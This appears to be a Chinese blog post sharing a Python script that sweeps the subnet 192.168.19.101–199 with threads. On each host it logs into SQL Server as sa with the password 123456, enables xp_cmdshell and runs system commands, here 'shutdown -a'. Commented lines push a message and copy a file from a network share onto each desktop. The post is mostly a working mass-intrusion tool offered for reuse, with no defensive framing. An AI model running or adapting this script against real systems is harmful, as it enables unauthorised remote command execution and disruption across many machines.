我是靠谱客的博主 殷勤魔镜,这篇文章主要介绍使用python利用xp_cmdshell批量执行系统命令,现在分享给大家,希望可以做个参考。

#coding=utf-8
import pymssql
import sys
from threading import *

def connect(ip,username="sa",password="123456",database="MyDB"):
    conn = pymssql.connect(ip,username,password,autocommit=True,timeout=2)
    cursor = conn.cursor()
    query = "sp_configure 'show advanced options',1;"
    cursor.execute(query)
    conn.commit()

    cursor = conn.cursor()
    query = "EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;"
    cursor.execute(query)
    conn.commit()
    
    cursor = conn.cursor()
    query = "sp_configure 'xp_cmdshell',1;"
    cursor.execute(query)
    conn.commit()

    #cursor = conn.cursor()
    #query = "exec master.dbo.xp_cmdshell 'msg 1 "请看你的桌面上有数据库的答案"';"
    #cursor.execute(query)
    #conn.commit()

    #cursor = conn.cursor()
    #query = b"exec master.dbo.xp_cmdshell 'xcopy /s /y  "\\192.168.19.149\share\result.doc" "C:\User\Lenovo\Desktop\result.doc" /F'"
    #print(query)
    #cursor.execute(query)
    #conn.commit()

    cursor = conn.cursor()
    query = "exec master.dbo.xp_cmdshell 'shutdown -a'"
    cursor.execute(query)
    conn.commit()
    
    row = cursor.fetchall()
    print(row)
    cursor.close()
    conn.close()

for i in range(101,200):
    ip = "192.168.19."+str(i)
    th = Thread(target=connect,args=(ip,))
    #connect(ip)
    th.start()

最后

以上就是殷勤魔镜最近收集整理的关于使用python利用xp_cmdshell批量执行系统命令的全部内容,更多相关使用python利用xp_cmdshell批量执行系统命令内容请搜索靠谱客的其他文章。

本图文内容来源于网友提供,作为学习参考使用,或来自网络收集整理,版权属于原作者所有。
点赞(121)

评论列表共有 0 条评论

立即
投稿
返回
顶部